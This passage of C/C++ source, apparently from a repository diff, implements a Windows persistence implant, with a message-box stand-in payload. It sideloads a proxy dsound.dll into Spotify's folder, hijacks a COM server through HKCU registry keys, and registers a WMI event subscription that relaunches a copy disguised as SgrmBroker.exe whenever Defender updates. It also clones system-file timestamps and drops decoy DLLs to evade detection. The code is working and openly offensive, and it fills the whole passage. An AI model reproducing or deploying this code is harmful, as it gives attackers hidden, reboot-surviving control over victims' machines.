DBG("[!] Payload Already Running In Another Process. Skipping...");
return 0x00;
}
// The COM host may unload and reload our DLL multiple times within the same process lifetime
// The static flag survives reloads and prevents re-execution in that case.
// InterlockedCompareExchange guards against two DllPayloadThread(s) racing if
// the COM host loads us on two threads simultaneously.
if (InterlockedCompareExchange((LONG*)&bAlreadyRanInCurrentProcess, TRUE, FALSE))
{
DBG("[!] Payload Already Executed In This Process. Skipping...");
return 0x00;
}
RunMessageBox((PVOID)TRUE);
return 0x00;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
UNREFERENCED_PARAMETER(hModule);
UNREFERENCED_PARAMETER(lpReserved);
static HMODULE hCurrModule = NULL;
HANDLE hThread = NULL;
HMODULE hPinnedModule = NULL;
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
{
// Bump our own module refcount before spawning the thread.
// Without this bump, if the host process calls FreeLibrary while our thread is still
// running, the refcount drops to zero and the loader unmaps us, crashing the process.
// GetModuleHandleExW with GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS (and without
// GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT) increments the module refcount,
// guaranteeing the loader cannot unmap our module for as long as we hold this
// extra reference. We intentionally never call FreeLibrary on hPinnedModule, and
// instead leave the kernel to drop it on process exit.
if (!GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)DllPayloadThread, &hPinnedModule))
{
DBG_LAST_ERROR("GetModuleHandleExW");
return TRUE;
}
hCurrModule = hPinnedModule;
g_hPinnedModule = hPinnedModule;
DisableThreadLibraryCalls(hCurrModule);
DBG("[*] DLL %ws Attached To PID: %lu | Process: %ws | At: 0x%p",
GetCurrentImageName(hCurrModule),
GetCurrentProcessId(),
GetCurrentImageName(NULL),
hCurrModule);
if (!(hThread = CreateThread(NULL, 0x00, DllPayloadThread, NULL, 0x00, NULL)))
{
DBG_LAST_ERROR("CreateThread");
// Thread creation failed, so we have to release the refcount we made.
// Without this, the DLL can never be unloaded cleanly by the COM host
FreeLibrary(hPinnedModule);
}
CLOSE_HANDLE(hThread);
break;
}
case DLL_PROCESS_DETACH:
{
// Mutex is intentionally not released here.
// Releasing on detach would allow re-acquisition on the next
// DLL_PROCESS_ATTACH, breaking the mutex guard. The COM host frequently
// unloads and reloads DLLs between COM calls, so detach does not mean the
// process is exiting. The kernel releases the mutex automatically when the
// process truly exits.
DBG_CLOSE();
break;
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// EXE ENTRY POINT LOGIC
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
int main()
{
HANDLE hMutex = NULL;
PBYTE pDllFileBuffer = NULL;
DWORD dwDllFileSize = 0x00;
LPSTR pszDllName = NULL,
pszSystem32DllPath = NULL;
WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
BOOL bAlreadyInstalled = FALSE;
if (AcquirePayloadMutex(&hMutex))
{
DBG("[!] Payload Already Running. Exiting...");
return 0;
}
// Check if persistence layers were already installed in a previous run.
if (!VerifyOrCreateRegistryFlag(HKEY_CURRENT_USER, CONFIG_REG_KEY, CONFIG_REG_VALUE_NAME, CONFIG_REG_VALUE_DATA, &bAlreadyInstalled))
return -1;
if (bAlreadyInstalled)
{
DBG("[i] Persistence Layers Already Installed, Skipping...");
goto _RUN_PAYLOAD;
}
// ==============================================================
// LAYER 3 - DLL SIDELOAD
// Reads exports from the real dsound.dll in System32, patches our
// EXE into a proxy DLL that forwards all calls to dspatial.dll,
// then drops both into Spotify's directory.
// Spotify loads dsound.dll from its own directory before System32,
// so our proxy gets loaded instead of the real one.
// ==============================================================
// Forward DLL name is the renamed copy of the real dsound.dll (dspatial.dll)
if (!(pszDllName = (LPSTR)ConvertString((LPVOID)SIDELOAD_FORWARD_DLL, lstrlenW(SIDELOAD_FORWARD_DLL), ENCODING_WIDE_TO_ANSI)))
return -1;
// Resolve the full System32 path of the real dsound.dll to read its exports
if (!GetSystem32PathW(SIDELOAD_PAYLOAD_DLL, wszSystem32DllPath, ARRAYSIZE(wszSystem32DllPath)))
goto _END_OF_FUNC;
if (!(pszSystem32DllPath = (LPSTR)ConvertString((LPVOID)wszSystem32DllPath, lstrlenW(wszSystem32DllPath), ENCODING_WIDE_TO_ANSI)))
goto _END_OF_FUNC;
// Patch our EXE into a proxy DLL with dsound.dll's export table, forwarding all calls to dspatial.dll, then drop it into Spotify's directory
if (ConvertExecutableToDll(pszSystem32DllPath, pszDllName, (ULONG_PTR)DllMain, &pDllFileBuffer, &dwDllFileSize))
DropSideloadDlls(pDllFileBuffer, dwDllFileSize);
HEAP_FREE(pszDllName);
HEAP_FREE(pszSystem32DllPath);
HEAP_FREE(pDllFileBuffer);
// ==============================================================
// LAYER 2 - COM HIJACK
// Reads exports from Windows.StateRepositoryPS.dll, patches our EXE
// into a proxy DLL that forwards all calls to Common.StateRepositoryRM.dll,
// then registers it under HKCU so it gets loaded instead of the real one.
// HKCU is checked before HKLM by the COM loader, so our DLL wins.
// ==============================================================
// Forward DLL name is the renamed copy of Windows.StateRepositoryPS.dll
if (!(pszDllName = (LPSTR)ConvertString((LPVOID)COM_FORWARD_DLL_NAME, lstrlenW(COM_FORWARD_DLL_NAME), ENCODING_WIDE_TO_ANSI)))
return -1;
// Resolve the full System32 path of the real Windows.StateRepositoryPS.dll to read its exports
if (!GetSystem32PathW(COM_SYSTEM_DLL_NAME, wszSystem32DllPath, ARRAYSIZE(wszSystem32DllPath)))
goto _END_OF_FUNC;
if (!(pszSystem32DllPath = (LPSTR)ConvertString((LPVOID)wszSystem32DllPath, lstrlenW(wszSystem32DllPath), ENCODING_WIDE_TO_ANSI)))
goto _END_OF_FUNC;
// Patch our EXE into a proxy DLL with Windows.StateRepositoryPS.dll's export table forwarding all calls to Common.StateRepositoryRM.dll, then install the COM hijack registry key
if (ConvertExecutableToDll(pszSystem32DllPath, pszDllName, (ULONG_PTR)DllMain, &pDllFileBuffer, &dwDllFileSize))
InstallComHijack(pDllFileBuffer, dwDllFileSize);
HEAP_FREE(pszDllName);
HEAP_FREE(pszSystem32DllPath);
HEAP_FREE(pDllFileBuffer);
// ==============================================================
// LAYER 1 - WMI PERSISTENCE
// Copies our EXE to a directory and registers a WMI event
// subscription that executes it every time windows defender does
// a signature update.
// This is done using a registry value change trigger (SignatureUpdateLastAttempted).
// Dropped binary is SgrmBroker.exe under System32\wbem\
// ==============================================================
DropExecutableForWmi();
_RUN_PAYLOAD:
RunMessageBox(FALSE);
_END_OF_FUNC:
HEAP_FREE(pszDllName);
HEAP_FREE(pszSystem32DllPath);
HEAP_FREE(pDllFileBuffer);
// Release the mutex
ReleasePayloadMutex(hMutex);
DBG_CLOSE();
return 0;
}
// If compiled in "Stripped" mode
#if !defined(_DEBUG) && !defined(NDEBUG)
void EntryPoint()
{
INT nResult = main();
ExitProcess(nResult);
}
#endif
+709
View File
@@ -0,0 +1,709 @@
#include "Headers.h"
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region PAYLOAD_MANAGEMENT
static BOOL GetMutexName(OUT LPSTR szMutexName, IN DWORD dwMutexNameLen)
{
constexpr BYTE TIME_HH = (__TIME__[0] - '0') * 10 + (__TIME__[1] - '0');
constexpr BYTE TIME_MM = (__TIME__[3] - '0') * 10 + (__TIME__[4] - '0');
constexpr BYTE TIME_SS = (__TIME__[6] - '0') * 10 + (__TIME__[7] - '0');
constexpr DWORD64 TIME_SALT = ((DWORD64)TIME_HH << 16) | ((DWORD64)TIME_MM << 8) | TIME_SS;
WCHAR wszSystemDir[MAX_PATH] = { 0 };
WCHAR wszRootDir[0x04] = { 0x00, L':', L'\\', L'\0' };
DWORD64 dw64VolumeSerial = 0x00;
HRESULT hResult = S_OK;
SIZE_T cbDigest = FNV_OFFSET_BASIS;
if (!GetSystemDirectoryW(wszSystemDir, MAX_PATH))
{
DBG_LAST_ERROR("GetSystemDirectoryW");
return FALSE;
}
wszRootDir[0] = wszSystemDir[0];
if (!GetVolumeInformationW(wszRootDir, NULL, 0, (LPDWORD)&dw64VolumeSerial, NULL, NULL, NULL, 0))
{
DBG_LAST_ERROR("GetVolumeInformationW");
return FALSE;
}
auto fnMix = [&](DWORD64 v)
{
for (int i = 0; i < 8; i++) {
cbDigest ^= (v >> (i * 8)) & 0xFF;
cbDigest *= FNV_PRIME;
}
};
fnMix(dw64VolumeSerial);
fnMix(TIME_SALT);
cbDigest ^= (size_t)TIME_HH * FNV_MUL_HH;
cbDigest ^= (size_t)TIME_MM * FNV_MUL_MM;
cbDigest ^= (size_t)TIME_SS * FNV_MUL_SS;
if (wsprintfA(szMutexName, MUTEX_NAME_FMT, (unsigned long long)cbDigest) < 0)
{
DBG_LAST_ERROR("wsprintfA");
return FALSE;
}
return TRUE;
}
// Returns TRUE if another payload instance is already running (peer detected).
// Returns FALSE if this is the first instance, in which the caller owns the mutex and must close it on exit to release the guard
BOOL AcquirePayloadMutex(OUT HANDLE* phMutex)
{
CHAR szMutexName[MAX_PATH] = { 0 };
HANDLE hExisting = NULL;
SECURITY_ATTRIBUTES SecurityAttr = { 0 };
PSECURITY_DESCRIPTOR pSecurityDesc = NULL;
DWORD dwLastError = ERROR_SUCCESS;
if (!GetMutexName(szMutexName, ARRAYSIZE(szMutexName)))
return FALSE;
DBG("[i] Mutex Name of PID (%ld) Is: %s", GetCurrentProcessId(), szMutexName);
// Apply a Low Integrity Level mandatory label to the security descriptor so that
// Low IL processes can open the mutex. Without this, a Low IL caller would receive
// ACCESS_DENIED on any cross-IL object access.
// SDDL used: S:(ML;;NW;;;LW), where:
// S: = SACL
// ML = Mandatory Label ace type
// NW = No-Write-Up
// LW = Low integrity level
if (!ConvertStringSecurityDescriptorToSecurityDescriptorA("S:(ML;;NW;;;LW)", SDDL_REVISION_1, &pSecurityDesc, NULL))
{
DBG_LAST_ERROR("ConvertStringSecurityDescriptorToSecurityDescriptorA");
return FALSE;
}
SecurityAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
SecurityAttr.lpSecurityDescriptor = pSecurityDesc;
SecurityAttr.bInheritHandle = FALSE;
*phMutex = CreateMutexA(&SecurityAttr, TRUE, szMutexName);
dwLastError = GetLastError();
LocalFree(pSecurityDesc);
if (!*phMutex)
{
// CreateMutexA may fail with ERROR_ACCESS_DENIED if our process lacks
// SeCreateGlobalPrivilege (required to create Global\ namespace objects).
// In that case, fall back to OpenMutexA to check if the mutex already exists.
// OpenMutexA does not require the SeCreateGlobalPrivilege privilege.
if (dwLastError == ERROR_ACCESS_DENIED)
{
if ((hExisting = OpenMutexA(SYNCHRONIZE, FALSE, szMutexName)) != NULL)
{
// Mutex exists: another payload process is already running
CLOSE_HANDLE(hExisting);
return TRUE;
}
// Mutex does not exist and we cannot create it.
// No other process is running, but we cant guard either.
DBG_LAST_ERROR("OpenMutexA");
return FALSE;
}
DBG_LAST_ERROR("CreateMutexA");
return FALSE;
}
if (dwLastError == ERROR_ALREADY_EXISTS)
{
// Mutex already existed before our CreateMutexA call
// Another payload process is running
CLOSE_HANDLE(*phMutex);
return TRUE;
}
// We own the mutex, no other payload process is running
return FALSE;
}
VOID ReleasePayloadMutex(IN HANDLE hMutex)
{
if (hMutex)
{
ReleaseMutex(hMutex);
CLOSE_HANDLE(hMutex);
}
}
#pragma endregion
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region WMI_PERSISTENCE
// IWbemClassObject::Put wrapper for string-typed properties
static BOOL SetWbemPropertyString(IN IWbemClassObject* pObj, IN LPCWSTR pszProperty, IN LPCWSTR pszValue)
{
VARIANT var = { 0 };
HRESULT hResult = S_OK;
BOOL bResult = FALSE;
var.vt = VT_BSTR;
if (!(var.bstrVal = SysAllocString(pszValue)))
{
DBG_LAST_ERROR("SysAllocString");
return FALSE;
}
if (FAILED((hResult = pObj->Put(pszProperty, 0, &var, 0))))
{
DBG_HEX_ERROR("IWbemClassObject::Put", hResult);
DBG("[i] Failed To Set Property '%ws'", pszProperty);
goto _END_OF_FUNC;
}
bResult = TRUE;
_END_OF_FUNC:
SAFE_FREE_BSTR(var.bstrVal);
return bResult;
}
// IWbemClassObject::Put wrapper for boolean-typed properties
static BOOL SetWbemPropertyBool(IN IWbemClassObject* pObj, IN LPCWSTR pszProperty, IN BOOL bValue)
{
VARIANT var = { 0 };
HRESULT hResult = S_OK;
var.vt = VT_BOOL;
var.boolVal = bValue ? VARIANT_TRUE : VARIANT_FALSE;
if (FAILED((hResult = pObj->Put(pszProperty, 0, &var, 0))))
{
DBG_HEX_ERROR("IWbemClassObject::Put", hResult);
DBG("[i] Failed To Set Property '%ws'", pszProperty);
return FALSE;
}
return TRUE;
}
// doubles every backslash found so that the result is safe to put in WQL
static BOOL EscapeWqlBackslashes(IN LPCWSTR pszInput, OUT PWSTR pszOutput, IN DWORD cchOutput)
{
DWORD i = 0;
DWORD j = 0;
if (!pszInput || !pszOutput || cchOutput == 0)
return FALSE;
for (i = 0; pszInput[i] != L'\0' && j < cchOutput - 1; i++)
{
if (pszInput[i] == L'\\')
{
if (j + 2 >= cchOutput)
return FALSE;
pszOutput[j++] = L'\\';
pszOutput[j++] = L'\\';
}
else
{
pszOutput[j++] = pszInput[i];
}
}
pszOutput[j] = L'\0';
return (pszInput[i] == L'\0');
}
static BOOL CreateWmiEventSubscription(IN LPCWSTR pszBinaryPath, IN LPCWSTR pszRegHive, IN LPCWSTR pszRegKey, IN LPCWSTR pszValueName, IN LPCWSTR pszFilterPrefix, IN DWORD dwDelayInSeconds)
{
IWbemLocator* pLocator = NULL;
IWbemServices* pSubscriptionSvc = NULL;
IWbemClassObject* pClass = NULL;
IWbemClassObject* pInstance = NULL;
WCHAR szQuery[BUFFER_SIZE_1024] = { 0 };
WCHAR szFilterName[BUFFER_SIZE_256] = { 0 };
WCHAR szConsumerName[BUFFER_SIZE_256] = { 0 };
WCHAR szFilterPath[BUFFER_SIZE_512] = { 0 };
WCHAR szConsumerPath[BUFFER_SIZE_512] = { 0 };
WCHAR szEscapedKey[BUFFER_SIZE_512] = { 0 };
WCHAR szScriptText[BUFFER_SIZE_1024] = { 0 };
HRESULT hResult = S_OK;
BOOL bResult = FALSE;
if (!pszBinaryPath || !pszRegHive || !pszRegKey || !pszValueName || !pszFilterPrefix)
{
SetLastError(ERROR_INVALID_PARAMETER);
return FALSE;
}
// Escape backslashes in registry key path for WQL
if (!EscapeWqlBackslashes(pszRegKey, szEscapedKey, ARRAYSIZE(szEscapedKey)))
{
SetLastError(ERROR_INSUFFICIENT_BUFFER);
return FALSE;
}
// Build the WQL event query
if (wsprintfW(szQuery,
L"SELECT * FROM RegistryValueChangeEvent "
L"WHERE Hive = '%s' "
L"AND KeyPath = '%s' "
L"AND ValueName = '%s'",
pszRegHive,
szEscapedKey,
pszValueName) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return FALSE;
}
// Build the VBScript payload that the consumer will execute on each trigger
// WScript object does not exist in ActiveScriptEventConsumer (WScript.Sleep doesnt work), so
// Were using the native VBScript timer loop instead
// Also, Win32_Process.Create is used to launch the binary rather than Shell.Run or WScript.Shell
if (wsprintfW(szScriptText,
L"Dim oProcess\r\n"
L"Dim pid\r\n"
L"Dim t\r\n"
L"t = Timer\r\n"
L"Do While Timer < t + %d\r\n"
L"Loop\r\n"
L"Set oProcess = GetObject(\"winmgmts:\\\\.\\root\\cimv2:Win32_Process\")\r\n"
L"oProcess.Create \"%s\", Null, Null, pid",
dwDelayInSeconds,
pszBinaryPath) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return FALSE;
}
// Build filter/consumer names. This isnt required but its better when we need to cleanup
if (wsprintfW(szFilterName, L"%s_Filter", pszFilterPrefix) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return FALSE;
}
if (wsprintfW(szConsumerName, L"%s_Consumer", pszFilterPrefix) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return FALSE;
}
// Initialize COM
if (FAILED((hResult = CoInitializeEx(NULL, COINIT_MULTITHREADED))))
{
DBG_HEX_ERROR("CoInitializeEx", hResult);
return FALSE;
}
if (FAILED((hResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL))) && hResult != RPC_E_TOO_LATE)
{
DBG_HEX_ERROR("CoInitializeSecurity", hResult);
goto _END_OF_FUNC;
}
if (FAILED((hResult = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLocator))))
{
DBG_HEX_ERROR("CoCreateInstance", hResult);
goto _END_OF_FUNC;
}
// Connect to ROOT\subscription
// This is the namespace where permanent subscriptions (filter, consumer, binding) must be stored to survive reboots
if (FAILED((hResult = pLocator->ConnectServer(BSTR_LITERAL(L"ROOT\\subscription"), NULL, NULL, NULL, 0, NULL, NULL, &pSubscriptionSvc))))
{
DBG_HEX_ERROR("IWbemLocator::ConnectServer", hResult);
goto _END_OF_FUNC;
}
// Set the proxy authentication level on the returned IWbemServices proxy.
// Without this, COM may use a lower authentication level than WMI requires for write operations to ROOT\subscription
if (FAILED((hResult = CoSetProxyBlanket((IUnknown*)pSubscriptionSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE))))
{
DBG_HEX_ERROR("CoSetProxyBlanket", hResult);
goto _END_OF_FUNC;
}
// Create __EventFilter. This defines the WQL condition that triggers the subscription
if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"__EventFilter"), 0, NULL, &pClass, NULL))))
{
DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
goto _END_OF_FUNC;
}
if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
{
DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
goto _END_OF_FUNC;
}
if (!SetWbemPropertyString(pInstance, L"Name", szFilterName)) goto _END_OF_FUNC;
if (!SetWbemPropertyString(pInstance, L"QueryLanguage", L"WQL")) goto _END_OF_FUNC;
if (!SetWbemPropertyString(pInstance, L"Query", szQuery)) goto _END_OF_FUNC;
if (!SetWbemPropertyString(pInstance, L"EventNamespace", L"root\\default")) goto _END_OF_FUNC; // RegistryValueChangeEvent is available from root\default
if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
{
DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
goto _END_OF_FUNC;
}
DBG("[+] Event Filter Created: %ws", szFilterName);
pClass->Release(); pClass = NULL;
pInstance->Release(); pInstance = NULL;
// Create ActiveScriptEventConsumer. This runs the VBScript payload
if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"ActiveScriptEventConsumer"), 0, NULL, &pClass, NULL))))
{
DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
goto _END_OF_FUNC;
}
if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
{
DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
goto _END_OF_FUNC;
}
if (!SetWbemPropertyString(pInstance, L"Name", szConsumerName)) goto _END_OF_FUNC;
if (!SetWbemPropertyString(pInstance, L"ScriptingEngine", L"VBScript")) goto _END_OF_FUNC;
if (!SetWbemPropertyString(pInstance, L"ScriptText", szScriptText)) goto _END_OF_FUNC;
if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
{
DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
goto _END_OF_FUNC;
}
DBG("[+] ActiveScript Consumer Created: %ws", szConsumerName);
pClass->Release(); pClass = NULL;
pInstance->Release(); pInstance = NULL;
// Create __FilterToConsumerBinding. This is to link the filter and consumer so WMI knows to invoke the consumer when the filter is triggered
if (wsprintfW(szFilterPath, L"__EventFilter.Name=\"%s\"", szFilterName) < 0)
{
DBG_LAST_ERROR("wsprintfW");
goto _END_OF_FUNC;
}
if (wsprintfW(szConsumerPath, L"ActiveScriptEventConsumer.Name=\"%s\"", szConsumerName) < 0)
{
DBG_LAST_ERROR("wsprintfW");
goto _END_OF_FUNC;
}
if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"__FilterToConsumerBinding"), 0, NULL, &pClass, NULL))))
{
DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
goto _END_OF_FUNC;
}
if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
{
DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
goto _END_OF_FUNC;
}
if (!SetWbemPropertyString(pInstance, L"Filter", szFilterPath)) goto _END_OF_FUNC;
if (!SetWbemPropertyString(pInstance, L"Consumer", szConsumerPath)) goto _END_OF_FUNC;
if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
{
DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
goto _END_OF_FUNC;
}
DBG("[*] WMI Subscription Created Successfully");
DBG("[i] Script Text:\n%ws", szScriptText);
DBG("[i] WQL Query: %ws", szQuery);
bResult = TRUE;
_END_OF_FUNC:
// Release COM objects in reverse dependency order
if (pClass) pClass->Release();
if (pInstance) pInstance->Release();
if (pSubscriptionSvc) pSubscriptionSvc->Release();
if (pLocator) pLocator->Release();
CoUninitialize();
return bResult;
}
BOOL DropExecutableForWmi()
{
WCHAR wszCurrentExePath[MAX_PATH] = { 0 };
WCHAR wszCurrentExeDir[MAX_PATH] = { 0 };
WCHAR wszDestExePath[MAX_PATH] = { 0 };
HRESULT hResult = S_OK;
if (GetModuleFileNameW(GetModuleHandleW(NULL), wszCurrentExePath, MAX_PATH) == 0)
{
DBG_LAST_ERROR("GetModuleFileNameW");
return FALSE;
}
// Split current exe path into directory and file name
if (FAILED((hResult = StringCchCopyW(wszCurrentExeDir, ARRAYSIZE(wszCurrentExeDir), wszCurrentExePath))))
{
DBG_HEX_ERROR("StringCchCopyW", hResult);
return FALSE;
}
PathRemoveFileSpecW(wszCurrentExeDir);
// Copy self to the WMI installation directory
if (!CopyFileToDirW(WMI_EXE_INSTALLATION_DIR, WMI_EXE_INSTALLATION_NAME, wszCurrentExeDir, PathFindFileNameW(wszCurrentExePath), wszDestExePath, ARRAYSIZE(wszDestExePath)))
return FALSE;
{
// Clone the timestamp of a real system32 binary used to make SgrmBroker.exe (our renamed exe) blend in
#define WMI_TIMESTAMP_SOURCE_EXE L"sihost.exe"
WCHAR wszWbemSrcPath[MAX_PATH] = { 0 };
if (GetSystem32PathW(WMI_TIMESTAMP_SOURCE_EXE, wszWbemSrcPath, MAX_PATH))
CloneFileTimestampsW(wszWbemSrcPath, wszDestExePath);
#undef WMI_TIMESTAMP_SOURCE_EXE
}
DBG("[+] Executable Copied To: %ws", wszDestExePath);
if (!CreateWmiEventSubscription(wszDestExePath, WMI_TRIGGER_REG_HIVE, WMI_TRIGGER_REG_KEY, WMI_TRIGGER_REG_VALUE, WMI_OBJECT_PREFIX, WMI_TRIGGER_DELAY))
{
if (!DeleteFileW(wszDestExePath))
{
DBG_LAST_ERROR("DeleteFileW");
}
return FALSE;
}
return TRUE;
}
#pragma endregion
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region COM_PERSISTENCE
// Copies a set of decoy DLLs into the target directory, so that the new directory doesnt hold our DLL only
static VOID DropDecoyDlls(IN LPCWSTR wszDestDir)
{
WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
WCHAR wszCopiedDllDst[MAX_PATH] = { 0 };
CONST WCHAR* pwszDecoyDllNames[] =
{
DLL_ENTRY(1),
DLL_ENTRY(2),
DLL_ENTRY(3),
DLL_ENTRY(4),
DLL_ENTRY(5),
DLL_ENTRY(6)
};
for (int i = 0; i < COM_DECOY_DLLS_COUNT; i++)
{
RtlZeroMemory(wszSystem32DllPath, sizeof(wszSystem32DllPath));
RtlZeroMemory(wszCopiedDllDst, sizeof(wszCopiedDllDst));
// From system32, copy with the same name
if (!CopyFileToDirW(wszDestDir, NULL, NULL, pwszDecoyDllNames[i], wszCopiedDllDst, ARRAYSIZE(wszCopiedDllDst)))
{
DBG("[!] CopyFileToDirW Failed For: %ws", pwszDecoyDllNames[i]);
continue;
}
if (GetSystem32PathW(pwszDecoyDllNames[i], wszSystem32DllPath, MAX_PATH))
CloneFileTimestampsW(wszSystem32DllPath, wszCopiedDllDst);
}
}
// Writes the memory DLL buffer (obtained from our patched EXE) to the specified path on disk
static BOOL DropComDllToDisk(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize, IN LPCWSTR pwszDllPath)
{
if (!pDllFileBuffer || dwDllFileSize == 0x00 || !pwszDllPath)
return FALSE;
// Extract directory from full path and create it if it doesn't exist
if (!EnsureDirectoryExistsW(pwszDllPath, TRUE))
return FALSE;
if (!WriteFileToDiskW(pwszDllPath, pDllFileBuffer, dwDllFileSize))
{
DBG("[!] Failed To Write DLL To: %ws", pwszDllPath);
return FALSE;
}
return TRUE;
}
BOOL InstallComHijack(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize)
{
WCHAR wszSideloadDllPath[MAX_PATH] = { 0 };
WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
WCHAR wszOriginalDllDst[MAX_PATH] = { 0 };
if (!pDllFileBuffer || dwDllFileSize == 0x00)
return FALSE;
if (!ExpandEnvironmentStringsW(COM_DLL_DIR L"\\" COM_PAYLOAD_DLL_NAME, wszSideloadDllPath, ARRAYSIZE(wszSideloadDllPath)))
{
DBG_LAST_ERROR("ExpandEnvironmentStringsW");
return FALSE;
}
// Write the payload DLL path as the default value of the COM server key
if (!SetRegistryStringW(HKEY_CURRENT_USER, COM_HIJACK_KEY, NULL, wszSideloadDllPath, FALSE))
{
DBG("[!] Failed To Set COM Hijack DLL Path");
return FALSE;
}
if (!SetRegistryStringW(HKEY_CURRENT_USER, COM_HIJACK_KEY, COM_THREADING_MODEL, COM_THREADING_VALUE, TRUE))
{
DBG("[!] Failed To Set COM Threading Model");
DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
return FALSE;
}
// Copy the legitimate system DLL 'Windows.StateRepositoryPS.dll' (COM_SYSTEM_DLL_NAME) from System32
// into the payload directory under the forward DLL name 'Common.StateRepositoryRM.dll' (COM_FORWARD_DLL_NAME)
if (!CopyFileToDirW(COM_DLL_DIR, COM_FORWARD_DLL_NAME, NULL, COM_SYSTEM_DLL_NAME, wszOriginalDllDst, ARRAYSIZE(wszOriginalDllDst)))
{
DBG("[!] Failed To Copy Forward DLL");
DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
return FALSE;
}
DropDecoyDlls(COM_DLL_DIR);
if (!DropComDllToDisk(pDllFileBuffer, dwDllFileSize, wszSideloadDllPath))
{
DBG("[!] Failed To Drop COM DLL To Disk");
DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
return FALSE;
}
if (GetSystem32PathW(COM_SYSTEM_DLL_NAME, wszSystem32DllPath, MAX_PATH))
{
CloneFileTimestampsW(wszSystem32DllPath, wszOriginalDllDst);
CloneFileTimestampsW(wszSystem32DllPath, wszSideloadDllPath);
}
DBG("[+] COM Hijack Installed | Key: %ws | DLL: %ws", COM_HIJACK_KEY, wszSideloadDllPath);
return TRUE;
}
#pragma endregion
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region SIDELOADING_PERSISTENCE
BOOL DropSideloadDlls(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize)
{
WCHAR wszOriginalDllDst[MAX_PATH] = { 0 };
WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
WCHAR wszSideloadDllPath[MAX_PATH] = { 0 };
if (!pDllFileBuffer || dwDllFileSize == 0x00)
return FALSE;
// Copy the legitimate system DLL 'dsound.dll' (SIDELOAD_PAYLOAD_DLL) from System32
// into the payload directory under the forward DLL name 'dspatial.dll' (SIDELOAD_FORWARD_DLL)
if (!CopyFileToDirW(SIDELOAD_APP_DIR, SIDELOAD_FORWARD_DLL, NULL, SIDELOAD_PAYLOAD_DLL, wszOriginalDllDst, ARRAYSIZE(wszOriginalDllDst)))
{
DBG("[!] CopyFileToDirW Failed For: %ws", SIDELOAD_PAYLOAD_DLL);
return FALSE;
}
if (!ExpandEnvironmentStringsW(SIDELOAD_APP_DIR L"\\" SIDELOAD_PAYLOAD_DLL, wszSideloadDllPath, ARRAYSIZE(wszSideloadDllPath)))
{
DBG_LAST_ERROR("ExpandEnvironmentStringsW");
goto _DELETE_COPIED_DLL;
}
// Write the payload DLL under the name the application will load 'dsound.dll' (SIDELOAD_PAYLOAD_DLL)
